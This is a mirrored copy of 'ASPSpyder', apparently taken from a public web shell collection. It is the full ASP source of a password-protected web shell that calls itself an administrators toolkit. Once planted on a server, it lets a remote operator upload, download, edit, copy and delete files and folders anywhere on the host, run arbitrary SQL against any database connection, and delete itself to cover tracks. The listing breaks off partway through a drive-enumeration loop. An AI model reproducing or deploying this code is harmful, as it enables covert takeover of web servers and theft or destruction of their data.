mirror of
https://github.com/tennc/webshell
synced 2024-11-29 22:50:18 +00:00
827 lines
34 KiB
Text
827 lines
34 KiB
Text
<%
|
|
Function BufferContent(data)
|
|
Dim strContent(64)
|
|
Dim i
|
|
ClearString strContent
|
|
For i = 1 To LenB(data)
|
|
AddString strContent,Chr(AscB(MidB(data,i,1)))
|
|
Next
|
|
BufferContent = fnReadString(strContent)
|
|
End Function
|
|
|
|
Sub ClearString(part)
|
|
Dim index
|
|
For index = 0 to 64
|
|
part(index)=""
|
|
Next
|
|
End Sub
|
|
|
|
Sub AddString(part,newString)
|
|
Dim tmp
|
|
Dim index
|
|
part(0) = part(0) & newString
|
|
If Len(part(0)) > 64 Then
|
|
index=0
|
|
tmp=""
|
|
Do
|
|
tmp=part(index) & tmp
|
|
part(index) = ""
|
|
index = index + 1
|
|
Loop until part(index) = ""
|
|
part(index) = tmp
|
|
End If
|
|
End Sub
|
|
|
|
Function fnReadString(part)
|
|
Dim tmp
|
|
Dim index
|
|
tmp = ""
|
|
For index = 0 to 64
|
|
If part(index) <> "" Then
|
|
tmp = part(index) & tmp
|
|
End If
|
|
Next
|
|
FnReadString = tmp
|
|
End Function
|
|
|
|
|
|
Class FileUploader
|
|
Public Files
|
|
Private mcolFormElem
|
|
Private Sub Class_Initialize()
|
|
Set Files = Server.CreateObject("Scripting.Dictionary")
|
|
Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
|
|
End Sub
|
|
|
|
Private Sub Class_Terminate()
|
|
If IsObject(Files) Then
|
|
Files.RemoveAll()
|
|
Set Files = Nothing
|
|
End If
|
|
If IsObject(mcolFormElem) Then
|
|
mcolFormElem.RemoveAll()
|
|
Set mcolFormElem = Nothing
|
|
End If
|
|
End Sub
|
|
|
|
Public Property Get Form(sIndex)
|
|
Form = ""
|
|
If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
|
|
End Property
|
|
|
|
Public Default Sub Upload()
|
|
Dim biData, sInputName
|
|
Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
|
|
Dim nPosFile, nPosBound
|
|
biData = Request.BinaryRead(Request.TotalBytes)
|
|
nPosBegin = 1
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
|
|
If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
|
|
vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
|
|
nDataBoundPos = InstrB(1, biData, vDataBounds)
|
|
Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
|
|
nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
|
|
nPos = InstrB(nPos, biData, CByteString("name="))
|
|
nPosBegin = nPos + 6
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
|
|
sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
|
|
nPosBound = InstrB(nPosEnd, biData, vDataBounds)
|
|
If nPosFile <> 0 And nPosFile < nPosBound Then
|
|
Dim oUploadFile, sFileName
|
|
Set oUploadFile = New UploadedFile
|
|
nPosBegin = nPosFile + 10
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
|
|
sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
|
|
nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
|
|
nPosBegin = nPos + 14
|
|
nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
|
|
oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
nPosBegin = nPosEnd+4
|
|
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
|
|
oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
|
|
If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
|
|
Else
|
|
nPos = InstrB(nPos, biData, CByteString(Chr(13)))
|
|
nPosBegin = nPos + 4
|
|
nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
|
|
If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
|
|
End If
|
|
nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
|
|
Loop
|
|
End Sub
|
|
|
|
'String to byte string conversion
|
|
Private Function CByteString(sString)
|
|
Dim nIndex
|
|
For nIndex = 1 to Len(sString)
|
|
CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
|
|
Next
|
|
End Function
|
|
|
|
'Byte string to string conversion
|
|
Private Function CWideString(bsString)
|
|
Dim nIndex
|
|
CWideString =""
|
|
For nIndex = 1 to LenB(bsString)
|
|
CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
|
|
Next
|
|
End Function
|
|
End Class
|
|
|
|
|
|
Class UploadedFile
|
|
Public ContentType
|
|
Public FileName
|
|
Public FileData
|
|
Public Property Get FileSize()
|
|
FileSize = LenB(FileData)
|
|
End Property
|
|
|
|
Public Sub SaveToDisk(sPath)
|
|
Dim oFS, oFile
|
|
Dim nIndex
|
|
If sPath = "" Or FileName = "" Then Exit Sub
|
|
If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
|
|
Set oFS = Server.CreateObject("Scripting.FileSystemObject")
|
|
If Not oFS.FolderExists(sPath) Then Exit Sub
|
|
Set oFile = oFS.CreateTextFile(sPath & FileName, True)
|
|
' output mechanism modified for buffering
|
|
oFile.Write BufferContent(FileData)
|
|
oFile.Close
|
|
End Sub
|
|
|
|
Public Sub SaveToDatabase(ByRef oField)
|
|
If LenB(FileData) = 0 Then Exit Sub
|
|
If IsObject(oField) Then
|
|
oField.AppendChunk FileData
|
|
End If
|
|
End Sub
|
|
End Class
|
|
|
|
' Create the FileUploader
|
|
IF REQUEST.QueryString("upload")="@" THEN
|
|
Dim Uploader, File
|
|
Set Uploader = New FileUploader
|
|
|
|
' This starts the upload process
|
|
Uploader.Upload()
|
|
|
|
%>
|
|
<html><title>ASPYDrvsInfo</title>
|
|
<style>
|
|
<!--
|
|
A:link {font-style: text-decoration: none; color: #c8c8c8}
|
|
A:visited {font-style: text-decoration: none; color: #777777}
|
|
A:active {font-style: text-decoration: none; color: #ff8300}
|
|
A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
|
|
* {scrollbar-base-color:#777777;
|
|
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
|
|
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
|
|
input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
|
|
//-->
|
|
</style>
|
|
<body bgcolor=black text=white>
|
|
<BR><BR><BR>
|
|
<center><table bgcolor="#505050" cellpadding=4>
|
|
<tr><td><Font face=arial size=-1>File upload Information:</font>
|
|
</td></tr><tr><td bgcolor=black ><table>
|
|
<%
|
|
|
|
' Check if any files were uploaded
|
|
If Uploader.Files.Count = 0 Then
|
|
Response.Write "File(s) not uploaded."
|
|
Else
|
|
' Loop through the uploaded files
|
|
For Each File In Uploader.Files.Items
|
|
File.SaveToDisk Request.QueryString("txtpath")
|
|
Response.Write "<TR><TD> </TD></TR><tr><td><font color=gray>File Uploaded: </font></td><td>" & File.FileName & "</td></tr>"
|
|
Response.Write "<tr><td><font color=gray>Size: </font></td><td>" & Int(File.FileSize/1024)+1 & " kb</td></tr>"
|
|
Response.Write "<tr><td><font color=gray>Type: </font></td><td>" & File.ContentType & "</td></tr>"
|
|
Next
|
|
End If
|
|
%>
|
|
<TR><TD> </TD></TR></table>
|
|
</td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=Request.QueryString("txtpath")%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
|
|
<%
|
|
response.End() '---- XXX
|
|
END IF
|
|
'--------
|
|
ON ERROR RESUME NEXT
|
|
Response.Buffer = True
|
|
password = "t00ls.org" ' <---Your password here
|
|
|
|
If request.querystring("logoff")="@" then
|
|
session("shagman")="" ' Logged off
|
|
session("dbcon")="" ' Database Connection
|
|
session("txtpath")="" ' any pathinfo
|
|
end if
|
|
|
|
If (session("shagman")<>password) and Request.form("code")="" Then
|
|
%>
|
|
<body bgcolor=black><center><BR><BR><BR><BR><FONT face=arial size=-2 color=#ff8300>ADMINSTRATORS TOOLKIT</FONT><BR><BR><BR>
|
|
<table><tr><td>
|
|
<FORM method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" >
|
|
<table bgcolor=#505050 width="20%" cellpadding=20 ><tr><td bgcolor=#303030 align=center >
|
|
<INPUT type=password name=code ></td><td><INPUT name=submit type=submit value=" Access ">
|
|
</td></tr></table>
|
|
</td></tr><tr><td align=right>
|
|
<font color=white size=-2 face=arial >ASPSpyder Apr2003</font></td></tr>
|
|
</td></tr></table></FORM>
|
|
<%If request.querystring("logoff")="@" then%>
|
|
<font color=gray size=-2 face=arial title="To avoid anyone from seeing what you were doing by using the browser back button."><span style='cursor: hand;' OnClick=window.close(this);>CLOSE THIS WINDOW</font>
|
|
<%end if%>
|
|
<center>
|
|
<%
|
|
Response.END
|
|
End If
|
|
If Request.form("code") = password or session("shagman") = password Then
|
|
session("shagman") = password
|
|
Else
|
|
Response.Write "<BR><B><P align=center><font color=red ><b>ACCESS DENIED</B></font><BR><font color=Gray >Copyright 2003 Vela iNC.</font></p>"
|
|
Response.END
|
|
End If
|
|
|
|
server.scriptTimeout=180
|
|
set fso = Server.CreateObject("Scripting.FileSystemObject")
|
|
mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME"))
|
|
mapPathLen = len(mapPath)
|
|
|
|
if session(myScriptName) = "" then
|
|
for x = mapPathLen to 0 step -1
|
|
myScriptName = mid(mapPath,x)
|
|
if instr(1,myScriptName,"\")>0 then
|
|
myScriptName = mid(mapPath,x+1)
|
|
x=0
|
|
session(myScriptName) = myScriptName
|
|
end if
|
|
next
|
|
Else
|
|
myScriptName = session(myScriptName)
|
|
end if
|
|
|
|
|
|
wwwRoot = left(mapPath, mapPathLen - len(myScriptName))
|
|
Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From
|
|
|
|
if len(Request.querystring("txtpath"))=3 then
|
|
pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname")
|
|
else
|
|
pathname = Request.querystring("txtpath") & "\" & Request.form("Fname")
|
|
end if
|
|
|
|
If Request.Form("txtpath") = "" Then
|
|
MyPath = Request.QueryString("txtpath")
|
|
Else
|
|
MyPath = Request.Form("txtpath")
|
|
End If
|
|
|
|
' ---Path correction routine
|
|
If len(MyPath)=1 then MyPath=MyPath & ":\"
|
|
If len(MyPath)=2 then MyPath=MyPath & "\"
|
|
If MyPath = "" Then MyPath = wwwRoot
|
|
If not fso.FolderExists(MyPath) then
|
|
Response.Write "<font face=arial size=+2>Non-existing path specified.<BR>Please use browser back button to continue !"
|
|
Response.end
|
|
end if
|
|
|
|
set folder = fso.GetFolder(MyPath)
|
|
|
|
if fso.GetFolder(Target) = false then
|
|
Response.Write "<font face=arial size=-2 color=red>Please create your target directory for copying files as it does not exist. </font><font face=arial size=-1 color=red>" & Target & "<BR></font>"
|
|
else
|
|
set fileCopy = fso.GetFolder(Target)
|
|
end if
|
|
|
|
|
|
If Not(folder.IsRootFolder) Then
|
|
If len(folder.ParentFolder)>3 then
|
|
showPath = folder.ParentFolder & "\" & folder.name
|
|
Else
|
|
showPath = folder.ParentFolder & folder.name
|
|
End If
|
|
Else
|
|
showPath = left(MyPath,2)
|
|
End If
|
|
|
|
MyPath=showPath
|
|
showPath=MyPath & "\"
|
|
' ---Path correction routine-DONE
|
|
|
|
set drv=fso.GetDrive(left(MyPath,2))
|
|
|
|
if Request.Form("cmd")="Download" then
|
|
if Request.Form("Fname")<>"" then
|
|
Response.Buffer = True
|
|
Response.Clear
|
|
strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname")
|
|
Set Sys = Server.CreateObject( "Scripting.FileSystemObject" )
|
|
Set Bin = Sys.OpenTextFile( strFileName, 1, False )
|
|
Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") )
|
|
Response.ContentType = "application/octet-stream"
|
|
While Not Bin.AtEndOfStream
|
|
Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) )
|
|
Wend
|
|
Bin.Close : Set Bin = Nothing
|
|
Set Sys = Nothing
|
|
Else
|
|
err.number=500
|
|
err.description="Nothing selected for download..."
|
|
End if
|
|
End if
|
|
%>
|
|
<html>
|
|
<style>
|
|
<!--
|
|
A:link {font-style: text-decoration: none; color: #c8c8c8}
|
|
A:visited {font-style: text-decoration: none; color: #777777}
|
|
A:active {font-style: text-decoration: none; color: #ff8300}
|
|
A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
|
|
* {scrollbar-base-color:#777777;
|
|
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
|
|
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
|
|
input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
|
|
//-->
|
|
</style>
|
|
<%
|
|
'QUERY ANALYSER -- START
|
|
if request.QueryString("qa")="@" then
|
|
'-------------
|
|
sub getTable(mySQL)
|
|
if mySQL="" then
|
|
exit sub
|
|
end if
|
|
on error resume next
|
|
Response.Buffer = True
|
|
Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
|
|
myConnectionString=session("dbCon")
|
|
Set myDBConnection = Server.CreateObject("ADODB.Connection")
|
|
myDBConnection.Open myConnectionString
|
|
myFlag = False
|
|
myFlag = errChk()
|
|
set rs = Server.CreateObject("ADODB.Recordset")
|
|
rs.cursorlocation = 3
|
|
rs.open mySQL, myDBConnection
|
|
myFlag = errChk()
|
|
|
|
if RS.properties("Asynchronous Rowset Processing") = 16 then
|
|
For i = 0 To rs.Fields.Count - 1
|
|
myFields = myFields & "<TD><font color=#eeeeee size=2 face=""Verdana, Arial, Helvetica, sans-serif"">" & rs.Fields(i).Name & "</font></TD>"
|
|
Next
|
|
myTitle = "<font color=gray size=6 face=webdings>?</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font> <font color=gray><TT>(" & rs.RecordCount & " row(s) affected)</TT><br>"
|
|
rs.MoveFirst
|
|
rs.PageSize=mNR
|
|
if int(rs.RecordCount/mNR) < mPage then mPage=1
|
|
rs.AbsolutePage = mPage
|
|
Response.Write myTitle & "</td><td> "
|
|
if mPage=1 Then Response.Write("<input type=button name=btnPagePrev value="" << "" DISABLED>") else Response.Write("<input type=button name=btnPagePrev value="" << "">")
|
|
Response.Write "<select name=cmbPageSelect>"
|
|
For x = 1 to rs.PageCount
|
|
if x=mPage Then Response.Write("<option value=" & x & " SELECTED>" & x & "</option>") else Response.Write("<option value=" & x & ">" & x & "</option>")
|
|
Next
|
|
Response.Write "</select><input type=hidden name=mPage value=" & mPage & ">"
|
|
if mPage = rs.PageCount Then Response.Write("<input type=button name=btnPageNext value="" >> "" DISABLED>") else Response.Write("<input type=button name=btnPageNext value="" >> "">")
|
|
Response.Write " <font color=gray>Displaying <input type=text size=" & Len(mNR) & " name=txtNoRecords value=" & mNR & "> records at a time.</font>"
|
|
response.Write "</td><TABLE border=0 bgcolor=#999999 cellpadding=2><TR align=center valign=middle bgcolor=#777777>" & myFields
|
|
|
|
For x = 1 to rs.PageSize
|
|
If Not rs.EOF Then
|
|
response.Write "<TR>"
|
|
For i = 0 to rs.Fields.Count - 1
|
|
response.Write "<TD bgcolor=#dddddd>" & server.HTMLEncode(rs(i)) & "</TD>"
|
|
Next
|
|
response.Write "</TR>"
|
|
response.Flush()
|
|
rs.MoveNext
|
|
Else
|
|
x=rs.PageSize
|
|
End If
|
|
Next
|
|
response.Write "</Table>"
|
|
myFlag = errChk()
|
|
|
|
else
|
|
if not myFlag then
|
|
myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font> <font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
|
|
response.Write myTitle
|
|
end if
|
|
end if
|
|
set myDBConnection = nothing
|
|
set rs2 = nothing
|
|
set rs = nothing
|
|
|
|
End sub
|
|
|
|
sub getXML(mySQL)
|
|
if mySQL="" then
|
|
exit sub
|
|
end if
|
|
on error resume next
|
|
Response.Buffer = True
|
|
Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
|
|
myConnectionString=session("dbCon")
|
|
Set myDBConnection = Server.CreateObject("ADODB.Connection")
|
|
myDBConnection.Open myConnectionString
|
|
myFlag = False
|
|
myFlag = errChk()
|
|
set rs = Server.CreateObject("ADODB.Recordset")
|
|
rs.cursorlocation = 3
|
|
rs.open mySQL, myDBConnection
|
|
myFlag = errChk()
|
|
if RS.properties("Asynchronous Rowset Processing") = 16 then
|
|
Response.Write "<font color=#55ff55 size=4 face=webdings>i</font><font color=#cccccc> Copy paste this code and save as '.xml '</font></td></tr><tr><td>"
|
|
Response.Write "<textarea cols=75 name=txtXML rows=15>"
|
|
rs.MoveFirst
|
|
response.Write vbcrlf & "<?xml version=""1.0"" ?>"
|
|
response.Write vbcrlf & "<TableXML>"
|
|
Do While Not rs.EOF
|
|
response.Write vbcrlf & "<Column>"
|
|
For i = 0 to rs.Fields.Count - 1
|
|
response.Write vbcrlf & "<" & rs.Fields(i).Name & ">" & rs(i) & "</" & rs.Fields(i).Name & ">" & vbcrlf
|
|
response.Flush()
|
|
Next
|
|
response.Write "</Column>"
|
|
rs.MoveNext
|
|
Loop
|
|
response.Write "</TableXML>"
|
|
response.Write "</textarea>"
|
|
myFlag = errChk()
|
|
|
|
else
|
|
if not myFlag then
|
|
myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font> <font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
|
|
response.Write myTitle
|
|
end if
|
|
end if
|
|
End sub
|
|
|
|
Function errChk()
|
|
if err.Number <> 0 and err.Number <> 13 then
|
|
dim myText
|
|
myText = "<font color=#ff8300 size=4 face=webdings>x</font><font color=red size=2 face=""Verdana, Arial, Helvetica, sans-serif""> " & err.Description & "</font><BR>"
|
|
response.Write myText
|
|
err.Number = 0
|
|
errChk = True
|
|
end if
|
|
end Function
|
|
|
|
Dim myQuery,mPage,mNR
|
|
myQuery = request.Form("txtSQL")
|
|
if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon")
|
|
if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath")
|
|
mPage=cint(request.Form("mPage"))
|
|
if mPage<1 then mPage=1
|
|
mNR=cint(request.Form("txtNoRecords"))
|
|
if mNR<1 then mNR=30
|
|
%>
|
|
<html><title>ASPyQAnalyser</title>
|
|
<script language="VbScript">
|
|
sub cmdSubmit_onclick
|
|
if Document.frmSQL.txtSQL.value = "" then
|
|
Document.frmSQL.txtSQL.value = "SELECT * FROM " & vbcrlf & "WHERE " & vbcrlf & "ORDER BY "
|
|
exit sub
|
|
end if
|
|
Document.frmSQL.Submit
|
|
end sub
|
|
sub cmdTables_onclick
|
|
Document.frmSQL.txtSQL.value = "select name as 'TablesListed' from sysobjects where xtype='U' order by name"
|
|
Document.frmSQL.Submit
|
|
end sub
|
|
sub cmdColumns_onclick
|
|
strTable =InputBox("Return Columns for which Table?","Table Name...")
|
|
strTable = Trim(strTable)
|
|
if len(strTable) > 0 Then
|
|
SQL = "select name As 'ColumnName',xusertype As 'DataType',length as Length from syscolumns where id=(select id from sysobjects where xtype='U' and name='" & strTable & "') order by name"
|
|
Document.frmSQL.txtSQL.value = SQL
|
|
Document.frmSQL.Submit
|
|
End if
|
|
end sub
|
|
sub cmdClear_onclick
|
|
Document.frmSQL.txtSQL.value = ""
|
|
end sub
|
|
sub cmdBack_onclick
|
|
Document.Location = "<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=session("txtpath")%>"
|
|
end sub
|
|
Sub btnPagePrev_OnClick
|
|
Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1
|
|
Document.frmSQL.Submit
|
|
end sub
|
|
Sub btnPageNext_OnClick
|
|
Document.frmSQL.mPage.value = Document.frmSQL.mPage.value + 1
|
|
Document.frmSQL.Submit
|
|
end sub
|
|
Sub cmbPageSelect_onchange
|
|
Document.frmSQL.mPage.value = (Document.frmSQL.cmbPageSelect.selectedIndex + 1)
|
|
Document.frmSQL.Submit
|
|
End Sub
|
|
Sub txtNoRecords_onclick
|
|
Document.frmSQL.cmbPageSelect.selectedIndex = 0
|
|
Document.frmSQL.mPage.value = 1
|
|
End Sub
|
|
</script>
|
|
<style>
|
|
TR {font-family: sans-serif;}
|
|
</style>
|
|
<body bgcolor=black>
|
|
<form name=frmSQL action="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@" method=Post>
|
|
<table border="0"><tr>
|
|
<td align=right><font color=#ff8300 size="4" face="webdings">@ </font><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">Paste
|
|
your connection string here : </font><font color="#CCCCCC">
|
|
<input name=txtCon type="text" size="60" value="<%=session("dbcon")%>">
|
|
</font><BR>
|
|
<textarea cols=75 name=txtSQL rows=4 wrap=PHYSICAL><%=myQuery%></textarea><BR>
|
|
<input name=cmdSubmit type=button value=Submit><input name=cmdTables type=button value=Tables><input name=cmdColumns type=button value=Columns><input name="reset" type=reset value=Reset><input name=cmdClear type=button value=Clear><input name=cmdBack type=button value="Return"><input type="Checkbox" name="chkXML" <%IF Request.Form("chkXML")= "on" tHEN Response.Write " checked " %>><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">GenerateXML</FONT>
|
|
</td>
|
|
<td>XXXXXX</td><td>
|
|
<center><B>ASP</b><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >Spyder</font> Apr2003</B><BR><font color=black size=-2><TT>by ~sir_shagalot</TT></font></center>
|
|
</td></tr></table>
|
|
<table><tr><td><%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %></td></tr></table></form>
|
|
<HR><P align=right><font color=#ff8300><TT>Copyright 2003 Vela iNC.</B></font><BR><font size=-1 color=gray>Cheers to <a href="mailto:hAshish@shagzzz.cjb.net">hAshish</a> for all the help!</font></p><BR>
|
|
</body>
|
|
</html>
|
|
<%
|
|
set myDBConnection = nothing
|
|
set rs2 = nothing
|
|
set rs = nothing
|
|
'-------------
|
|
response.End()
|
|
end if
|
|
'QUERY ANALYSER -- STOP
|
|
%>
|
|
<title><%=MyPath%></title>
|
|
</head>
|
|
<body bgcolor=black text=white topAprgin="0">
|
|
<!-- Copyright Vela iNC. Apr2003 [www.shagzzz.cjb.net] Coded by ~sir_shagalot -->
|
|
<%
|
|
Response.Flush
|
|
'Code Optimisation START
|
|
select case request.form("cmd")
|
|
case ""
|
|
If request.form("dirStuff")<>"" then
|
|
Response.write "<font face=arial size=-2>You need to click [Create] or [Delete] for folder operations to be</font>"
|
|
Else
|
|
Response.Write "<font face=webdings size=+3 color=#ff8300>آ</font>"
|
|
End If
|
|
case " Copy "
|
|
' ---Copy From Folder routine Start
|
|
If Request.Form("Fname")="" then
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\???</font><BR>"
|
|
err.number=424
|
|
Else
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "</font><BR>"
|
|
fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname")
|
|
Response.Flush
|
|
End If
|
|
' ---Copy From Folder routine Stop
|
|
case " Copy "
|
|
' ---Copy Too Folder routine Start
|
|
If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "</font><BR>"
|
|
Response.Flush
|
|
fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy")
|
|
Else
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\???</font><BR>"
|
|
err.number=424
|
|
End If
|
|
' ---Copy Too Folder routine Stop
|
|
case "Delete" 'two of this
|
|
if request.form("todelete")<>"" then
|
|
' ---File Delete start
|
|
If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then
|
|
Response.Write "<center><font face=arial size=-2 color=#ff8300><BR><BR><HR>SELFDESTRUCT INITIATED...<BR>"
|
|
Response.Flush
|
|
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
|
|
%>+++DONE+++</font><BR><HR>
|
|
<font color=gray size=-2 face=arial title="To avoid anyone from seeing what you were doing by using the browser back button."><span style='cursor: hand;' OnClick=window.close(this);>CLOSE THIS WINDOW</font>
|
|
<%Response.End
|
|
End If
|
|
If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "</font><BR>"
|
|
Response.Flush
|
|
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
|
|
Else
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\???</font><BR>"
|
|
err.number=424
|
|
End If
|
|
' ---File Delete stop
|
|
Else If request.form("dirStuff")<>"" then
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Deleting folder...</font><BR>"
|
|
fso.DeleteFolder MyPath & "\" & request.form("DirName")
|
|
end if
|
|
End If
|
|
|
|
case "Edit/Create"
|
|
%>
|
|
<center><BR><table bgcolor="#505050" cellpadding="8"><tr>
|
|
<td bgcolor="#000000" valign="bottom">
|
|
<Font face=arial SIZE=-2 color=#ff8300>NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate.</font>
|
|
</td></tr><tr><td><TT>Path=> <%=pathname%><BR><BR>
|
|
<%
|
|
' fetch file information
|
|
Set f = fso.GetFile(pathname)
|
|
%>
|
|
file Type: <%=f.Type%><BR>
|
|
file Size: <%=FormatNumber(f.size,0)%> bytes<BR>
|
|
file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%><BR>
|
|
last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%><BR>
|
|
last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%><BR>
|
|
file Attributes: <%=f.attributes%><BR>
|
|
<%
|
|
Set f = Nothing
|
|
response.write "<center><FORM action=""" & Request.Servervariables("SCRIPT_NAME") & "?txtpath=" & MyPath & """ METHOD=""POST"">"
|
|
'read the file
|
|
Set f = fso.OpenTextFile(pathname)
|
|
If NOT f.AtEndOfStream Then fstr = f.readall
|
|
f.Close
|
|
Set f = Nothing
|
|
Set fso = Nothing
|
|
response.write "<TABLE><TR><TD>" & VBCRLF
|
|
response.write "<FONT TITLE=""Use this text area to view or change the contents of this document. Click [Save As] to store the updated contents to the web server."" FACE=arial SIZE=1 ><B>DOCUMENT CONTENTS</B></FONT><BR>" & VBCRLF
|
|
response.write "<TEXTAREA NAME=FILEDATA ROWS=16 COLS=85 WRAP=OFF>" & Server.HTMLEncode(fstr) & "</TEXTAREA>" & VBCRLF
|
|
response.write "</TD></TR></TABLE>" & VBCRLF
|
|
%>
|
|
<BR><center><TT>LOCATION <INPUT TYPE="TEXT" SIZE=48 MAXLENGTH=255 NAME="PATHNAME" VALUE="<%=pathname%>">
|
|
<INPUT TYPE="SUBMIT" NAME=cmd VALUE="Save As" TITLE="This write to the file specifed and overwrite it without warning.">
|
|
<INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="Cancel" TITLE="If you recieve an error while saving, then most likely you do not have write access OR the file attributes are set to readonly !!">
|
|
</FORM></td></tr></table><BR>
|
|
<%
|
|
response.end
|
|
|
|
case "Create"
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Creating folder...</font><BR>"
|
|
fso.CreateFolder MyPath & "\" & request.form("DirName")
|
|
|
|
case "Save As"
|
|
Response.Write "<font face=arial size=-2 color=#ff8300>Saving file...</font><BR>"
|
|
Set f = fso.CreateTextFile(Request.Form("pathname"))
|
|
f.write Request.Form("FILEDATA")
|
|
f.close
|
|
end select
|
|
'Code Optimisation STOP
|
|
' ---DRIVES start here
|
|
If request.querystring("getDRVs")="@" then
|
|
%>
|
|
<BR><BR><BR><center><table bgcolor="#505050" cellpadding=4>
|
|
<tr><td><Font face=arial size=-1>Available Drive Information:</font>
|
|
</td></tr><tr><td bgcolor=black >
|
|
<table><tr><td><tt>Drive</td><td><tt>Type</td><td><tt>Path</td><td><tt>ShareName</td><td><tt>Size[MB]</td><td><tt>ReadyToUse</td><td><tt>VolumeLabel</td><td></tr>
|
|
<%For Each thingy in fso.Drives%>
|
|
<tr><td><tt>
|
|
